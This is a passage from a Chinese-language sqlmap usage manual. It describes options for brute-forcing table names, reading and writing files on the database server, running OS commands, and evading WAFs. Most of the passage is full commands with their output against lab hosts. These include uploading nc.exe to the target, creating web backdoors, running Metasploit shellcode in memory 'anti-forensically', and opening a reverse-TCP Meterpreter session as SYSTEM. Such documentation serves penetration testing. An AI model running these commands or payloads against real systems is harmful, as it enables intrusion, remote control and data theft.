[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':??? 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':??? 'foo, bar'
爆破
暴力破解表名
參數(shù):--common-tables
當(dāng)使用--tables無(wú)法獲取到數(shù)據(jù)庫(kù)的表時(shí),可以使用此參數(shù)。
通常是如下情況:
1、MySQL數(shù)據(jù)庫(kù)版本小于5.0,沒(méi)有information_schema表。
2、數(shù)據(jù)庫(kù)是Microssoft Access,系統(tǒng)表MSysObjects是不可讀的(默認(rèn))。
3、當(dāng)前用戶沒(méi)有權(quán)限讀取系統(tǒng)中保存數(shù)據(jù)結(jié)構(gòu)的表的權(quán)限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。
列舉一個(gè)MySQL 4.1的例子:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:??? '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
暴力破解列名
參數(shù):--common-columns
與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。
用戶自定義函數(shù)注入
參數(shù):--udf-inject,--shared-lib
你可以通過(guò)編譯MySQL注入你自定義的函數(shù)(UDFs)或PostgreSQL在windows中共享庫(kù),DLL,或者Linux/Unix中共享對(duì)象,sqlmap將會(huì)問(wèn)你一些問(wèn)題,上傳到服務(wù)器數(shù)據(jù)庫(kù)自定義函數(shù),然后根據(jù)你的選擇執(zhí)行他們,當(dāng)你注入完成后,sqlmap將會(huì)移除它們。
系統(tǒng)文件操作
從數(shù)據(jù)庫(kù)服務(wù)器中讀取文件
參數(shù):--file-read
當(dāng)數(shù)據(jù)庫(kù)為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。讀取的文件可以是文本也可以是二進(jìn)制文件。
列舉一個(gè)Microsoft SQL Server 2005的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:??? '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
把文件上傳到數(shù)據(jù)庫(kù)服務(wù)器中
參數(shù):--file-write,--file-dest
當(dāng)數(shù)據(jù)庫(kù)為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。上傳的文件可以是文本也可以是二進(jìn)制文件。
列舉一個(gè)MySQL的例子:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
運(yùn)行任意操作系統(tǒng)命令
參數(shù):--os-cmd,--os-shell
當(dāng)數(shù)據(jù)庫(kù)為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。
在MySQL、PostgreSQL,sqlmap上傳一個(gè)二進(jìn)制庫(kù),包含用戶自定義的函數(shù),sys_exec()和sys_eval()。
那么他創(chuàng)建的這兩個(gè)函數(shù)可以執(zhí)行系統(tǒng)命令。在Microsoft SQL Server,sqlmap將會(huì)使用xp_cmdshell存儲(chǔ)過(guò)程,如果被禁(在Microsoft SQL Server 2005及以上版本默認(rèn)禁制),sqlmap會(huì)重新啟用它,如果不存在,會(huì)自動(dòng)創(chuàng)建。
列舉一個(gè)PostgreSQL的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:??? 'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
用--os-shell參數(shù)也可以模擬一個(gè)真實(shí)的shell,可以輸入你想執(zhí)行的命令。
當(dāng)不能執(zhí)行多語(yǔ)句的時(shí)候(比如php或者asp的后端數(shù)據(jù)庫(kù)為MySQL時(shí)),仍然可能使用INTO OUTFILE寫(xiě)進(jìn)可寫(xiě)目錄,來(lái)創(chuàng)建一個(gè)web后門(mén)。支持的語(yǔ)言:
1、ASP
2、ASP.NET
3、JSP
4、PHP
Meterpreter配合使用
參數(shù):--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path
當(dāng)數(shù)據(jù)庫(kù)為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù),可以在數(shù)據(jù)庫(kù)與攻擊者直接建立TCP連接,這個(gè)連接可以是一個(gè)交互式命令行的Meterpreter會(huì)話,sqlmap根據(jù)Metasploit生成shellcode,并有四種方式執(zhí)行它:
1、通過(guò)用戶自定義的sys_bineval()函數(shù)在內(nèi)存中執(zhí)行Metasplit的shellcode,支持MySQL和PostgreSQL數(shù)據(jù)庫(kù),參數(shù):--os-pwn。
2、通過(guò)用戶自定義的函數(shù)上傳一個(gè)獨(dú)立的payload執(zhí)行,MySQL和PostgreSQL的sys_exec()函數(shù),Microsoft SQL Server的xp_cmdshell()函數(shù),參數(shù):--os-pwn。
3、通過(guò)SMB攻擊(MS08-068)來(lái)執(zhí)行Metasploit的shellcode,當(dāng)sqlmap獲取到的權(quán)限足夠高的時(shí)候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通過(guò)溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲(chǔ)過(guò)程(MS09-004),在內(nèi)存中執(zhí)行Metasploit的payload,參數(shù):--os-bof
列舉一個(gè)MySQL例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
_
| |????? o
_? _? _??? _ _|_? __,?? ,??? _? | |? __??? _|_
/ |/ |/ |? |/? |? /? |? / \_|/ \_|/? /? \_|? |
|? |? |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS????????????? : Windows .NET Server (Build 3790, Service Pack 2).
Computer??????? : W2K3R2
Architecture??? : x86
Meterpreter???? : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address? : 127.0.0.1
Netmask???? : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address? : 192.168.136.129
Netmask???? : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed.? Reason: User exit
默認(rèn)情況下MySQL在Windows上以SYSTEM權(quán)限運(yùn)行,PostgreSQL在Windows與Linux中是低權(quán)限運(yùn)行,Microsoft SQL Server 2000默認(rèn)是以SYSTEM權(quán)限運(yùn)行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時(shí)是LOCAL SERVICE。
對(duì)Windows注冊(cè)表操作
當(dāng)數(shù)據(jù)庫(kù)為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前web應(yīng)用支持堆查詢。 當(dāng)然,當(dāng)前連接數(shù)據(jù)庫(kù)的用戶也需要有權(quán)限操作注冊(cè)表。
讀取注冊(cè)表值
參數(shù):--reg-read
寫(xiě)入注冊(cè)表值
參數(shù):--reg-add
刪除注冊(cè)表值
參數(shù):--reg-del
注冊(cè)表輔助選項(xiàng)
參數(shù):--reg-key,--reg-value,--reg-data,--reg-type
需要配合之前三個(gè)參數(shù)使用,例子:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
常規(guī)參數(shù)
從sqlite中讀取session
參數(shù):-s
sqlmap對(duì)每一個(gè)目標(biāo)都會(huì)在output路徑下自動(dòng)生成一個(gè)SQLite文件,如果用戶想指定讀取的文件路徑,就可以用這個(gè)參數(shù)。
保存HTTP(S)日志
參數(shù):-t
這個(gè)參數(shù)需要跟一個(gè)文本文件,sqlmap會(huì)把HTTP(S)請(qǐng)求與響應(yīng)的日志保存到那里。
非交互模式
參數(shù):--batch
用此參數(shù),不需要用戶輸入,將會(huì)使用sqlmap提示的默認(rèn)值一直運(yùn)行下去。
強(qiáng)制使用字符編碼
參數(shù):--charset
不使用sqlmap自動(dòng)識(shí)別的(如HTTP頭中的Content-Type)字符編碼,強(qiáng)制指定字符編碼如:
--charset=GBK
爬行網(wǎng)站URL
參數(shù):--crawl
sqlmap可以收集潛在的可能存在漏洞的連接,后面跟的參數(shù)是爬行的深度。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
規(guī)定輸出到CSV中的分隔符
參數(shù):--csv-del
當(dāng)dump保存為CSV格式時(shí)(--dump-format=CSV),需要一個(gè)分隔符默認(rèn)是逗號(hào),用戶也可以改為別的 如:
--csv-del=";"
DBMS身份驗(yàn)證
參數(shù):--dbms-cred
某些時(shí)候當(dāng)前用戶的權(quán)限不夠,做某些操作會(huì)失敗,如果知道高權(quán)限用戶的密碼,可以使用此參數(shù),有的數(shù)據(jù)庫(kù)有專門(mén)的運(yùn)行機(jī)制,可以切換用戶如Microsoft SQL Server的OPENROWSET函數(shù)
定義dump數(shù)據(jù)的格式
參數(shù):--dump-format
輸出的格式可定義為:CSV,HTML,SQLITE
預(yù)估完成時(shí)間
參數(shù):--eta
可以計(jì)算注入數(shù)據(jù)的剩余時(shí)間。
例如Oracle的布爾型盲注:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>????????????????????????????????????????? ] 11/64? ETA 00:19
然后:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:??? 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
sqlmap先輸出長(zhǎng)度,預(yù)計(jì)完成時(shí)間,顯示百分比,輸出字符
刷新session文件
參數(shù):--flush-session
如果不想用之前緩存這個(gè)目標(biāo)的session文件,可以使用這個(gè)參數(shù)。 會(huì)清空之前的session,重新測(cè)試該目標(biāo)。
自動(dòng)獲取form表單測(cè)試
參數(shù):--forms
如果你想對(duì)一個(gè)頁(yè)面的form表單中的參數(shù)測(cè)試,可以使用-r參數(shù)讀取請(qǐng)求文件,或者通過(guò)--data參數(shù)測(cè)試。 但是當(dāng)使用--forms參數(shù)時(shí),sqlmap會(huì)自動(dòng)從-u中的url獲取頁(yè)面中的表單進(jìn)行測(cè)試。
忽略在會(huì)話文件中存儲(chǔ)的查詢結(jié)果
參數(shù):--fresh-queries
忽略session文件保存的查詢,重新查詢。
使用DBMS的hex函數(shù)
參數(shù):--hex
有時(shí)候字符編碼的問(wèn)題,可能導(dǎo)致數(shù)據(jù)丟失,可以使用hex函數(shù)來(lái)避免:
針對(duì)PostgreSQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [function.pg-query]: Query failed: ERROR:? invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in /var/www/sqlmap/libs/pgsql.inc.php on line 35'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
自定義輸出的路徑
參數(shù):--output-dir
sqlmap默認(rèn)把session文件跟結(jié)果文件保存在output文件夾下,用此參數(shù)可自定義輸出路徑 例如:--output-dir=/tmp
從響應(yīng)中獲取DBMS的錯(cuò)誤信息
參數(shù):--parse-errors
有時(shí)目標(biāo)沒(méi)有關(guān)閉DBMS的報(bào)錯(cuò),當(dāng)數(shù)據(jù)庫(kù)語(yǔ)句錯(cuò)誤時(shí),會(huì)輸出錯(cuò)誤語(yǔ)句,用詞參數(shù)可以會(huì)顯出錯(cuò)誤信息。
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]
其他的一些參數(shù)
使用參數(shù)縮寫(xiě)
參數(shù):-z
有使用參數(shù)太長(zhǎng)太復(fù)雜,可以使用縮寫(xiě)模式。 例如:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
可以寫(xiě)成:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
還有:
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
可以寫(xiě)成:
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
成功SQL注入時(shí)警告
參數(shù):--alert
設(shè)定會(huì)發(fā)的答案
參數(shù):--answers
當(dāng)希望sqlmap提出輸入時(shí),自動(dòng)輸入自己想要的答案可以使用此參數(shù): 例子:
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
[...]
發(fā)現(xiàn)SQL注入時(shí)發(fā)出蜂鳴聲
參數(shù):--beep
發(fā)現(xiàn)sql注入時(shí),發(fā)出蜂鳴聲。
啟發(fā)式檢測(cè)WAF/IPS/IDS保護(hù)
參數(shù):--check-waf
WAF/IPS/IDS保護(hù)可能會(huì)對(duì)sqlmap造成很大的困擾,如果懷疑目標(biāo)有此防護(hù)的話,可以使用此參數(shù)來(lái)測(cè)試。 sqlmap將會(huì)使用一個(gè)不存在的參數(shù)來(lái)注入測(cè)試
例如:
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
如果有保護(hù)的話可能返回結(jié)果會(huì)不同。
清理sqlmap的UDF(s)和表
參數(shù):--cleanup
清除sqlmap注入時(shí)產(chǎn)生的udf與表。
禁用彩色輸出
參數(shù):--disable-coloring
sqlmap默認(rèn)彩色輸出,可以使用此參數(shù),禁掉彩色輸出。
使用指定的Google結(jié)果頁(yè)面
參數(shù):--gpage
默認(rèn)sqlmap使用前100個(gè)URL地址作為注入測(cè)試,結(jié)合此選項(xiàng),可以指定頁(yè)面的URL測(cè)試。
使用HTTP參數(shù)污染
參數(shù):-hpp
HTTP參數(shù)污染可能會(huì)繞過(guò)WAF/IPS/IDS保護(hù)機(jī)制,這個(gè)對(duì)ASP/IIS與ASP.NET/IIS平臺(tái)很有效。
測(cè)試WAF/IPS/IDS保護(hù)
參數(shù):--identify-waf
sqlmap可以嘗試找出WAF/IPS/IDS保護(hù),方便用戶做出繞過(guò)方式。目前大約支持30種產(chǎn)品的識(shí)別。
例如對(duì)一個(gè)受到ModSecurity WAF保護(hù)的MySQL例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
[...]
模仿智能手機(jī)
參數(shù):--mobile
有時(shí)服務(wù)端只接收移動(dòng)端的訪問(wèn),此時(shí)可以設(shè)定一個(gè)手機(jī)的User-Agent來(lái)模仿手機(jī)登陸。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
安全的刪除output目錄的文件
參數(shù):--purge-output
有時(shí)需要?jiǎng)h除結(jié)果文件,而不被恢復(fù),可以使用此參數(shù),原有文件將會(huì)被隨機(jī)的一些文件覆蓋。
例如:
$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
啟發(fā)式判斷注入
參數(shù):--smart
有時(shí)對(duì)目標(biāo)非常多的URL進(jìn)行測(cè)試,為節(jié)省時(shí)間,只對(duì)能夠快速判斷為注入的報(bào)錯(cuò)點(diǎn)進(jìn)行注入,可以使用此參數(shù)。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
